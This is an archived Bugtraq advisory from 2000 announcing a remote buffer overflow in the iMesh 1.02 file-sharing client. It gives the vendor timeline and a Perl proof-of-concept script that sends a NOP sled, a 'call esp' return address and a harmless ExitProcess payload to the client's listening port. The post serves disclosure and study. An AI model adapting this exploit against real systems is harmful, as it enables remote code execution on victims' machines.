Bugtraq mailing list archives
iMesh 1.02 vulnerability
From: bluepanda () MAIL BOX SK (Blue Panda)
Date: Thu, 29 Jun 2000 20:53:39 +1000
================================================================ BluePanda Vulnerability Announcement: iMesh 1.02 Build 116/117 29/06/2000 (dd/mm/yyyy) bluepanda () dwarf box sk http://bluepanda.box.sk/ ================================================================ ==================== Brief description: ==================== iMesh 1.02 builds 116 and 177 are vulnerable to a buffer overflow that can be exploited to execute arbitrary code. Once iMesh connects to a server, it begins listening on a TCP port (varies). An attacker can connect to this port and cause an overflow which will overwrite EIP, effectively redirecting the flow of execution. ================ Vendor status: ================ iMesh were notified of this vulnerability on Sunday the 18th of June. Proof of concept was provided, and I did not receive a response from them until that Thursday. I replied that night, and did not receive a reply until the following Tuesday (the 27th of June). I was informed that the problem had been fixed, but a patch would not be made available to the public, and the changes would be incorporated into the next version of iMesh - the release date of which I was not given. ===================== Affected versions: ===================== Vulnerable: iMesh 1.02 Build 116/117, possibly prior versions (untested). Immune: No publicly released version of iMesh as of 29/06/2000 (dd/mm/yyyy). =================== Proof of concept: =================== #!/usr/bin/perl # # iMesh 1.02 Build 116/117 client buffer overflow # Blue Panda - bluepanda () dwarf box sk # http://bluepanda.box.sk/ # # ---------------------------------------------------------- # Disclaimer: this file is intended as proof of concept, and # is not intended to be used for illegal purposes. I accept # no responsibility for damage incurred by the use of it. # ---------------------------------------------------------- # # Note: The payload executed by this script just calls ExitProcess (causing # iMesh to exit silently). # use IO::Socket; $host = "localhost"; $port = "4011"; # This may require adjustment. # Call ExitProcess. $payload = "\xff\x25\x18\xb2\x4c\x00"; $count = 0; $es = ""; while($count < 0x272d) { $es .= "\x90"; $count += 1; } $es .= "\x43\x04\x43\x00"; # IMESHCLIENT.EXE, call esp $count = 0; while($count < 2048) { $es .= "\x90"; $count += 1; } $es .= $payload; # Tack the payload onto the end. print "Connecting to $host:$port..."; $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "unable to connect.\n"; print "done.\n"; print $socket "$es"; print "Waiting 5 seconds...\n"; sleep(5); # Done. close($socket); print "Finished.\n";
Current thread:
- Sendmail 8.10.2, Linux 2.4.0 - capabilities Valdis Kletnieks (Jun 08)
- Re: Sendmail 8.10.2, Linux 2.4.0 - capabilities Kyle Sparger (Jun 08)
- Re: Sendmail 8.10.2, Linux 2.4.0 - capabilities xdr (Jun 09)
- format bugs, in addition to the wuftpd bug Lamagra Argamal (Jun 24)
- Re: format bugs, in addition to the wuftpd bug H D Moore (Jun 26)
- iMesh 1.02 vulnerability Blue Panda (Jun 29)
- Re: format bugs, in addition to the wuftpd bug Jason Axley (Jun 29)
- Concerning the LDAP Enabled Netscape FTP Server Alfred Huger (Jun 27)
- Glftpd privpath bugs... +fix Raymond Dijkxhoorn (Jun 26)
- Re: Glftpd privpath bugs... +fix Scott (Jun 27)
- Re: Sendmail 8.10.2, Linux 2.4.0 - capabilities Kyle Sparger (Jun 08)
- CONECTIVA LINUX SECURITY ANNOUNCEMENT - kernel Sergio Bruder (Jun 08)
- Sendmail & procmail local root exploits on Linux kernel up to 2.2.16pre5 Wojciech Purczynski (Jun 08)
- OpenSSH's UseLogin option allows remote access with root privilege. Markus Friedl (Jun 09)
- Re: OpenSSH's UseLogin option allows remote access with root privilege. Bernhard Rosenkraenzer (Jun 10)
- Re: OpenSSH's UseLogin option allows remote access with root privilege. Phil Stracchino (Jun 10)
- IBM WebSphere JSP showcode vulnerability stuart.mcclure () FOUNDSTONE COM (Jun 11)
- Re: OpenSSH's UseLogin option allows remote access with root privilege. Bernhard Rosenkraenzer (Jun 10)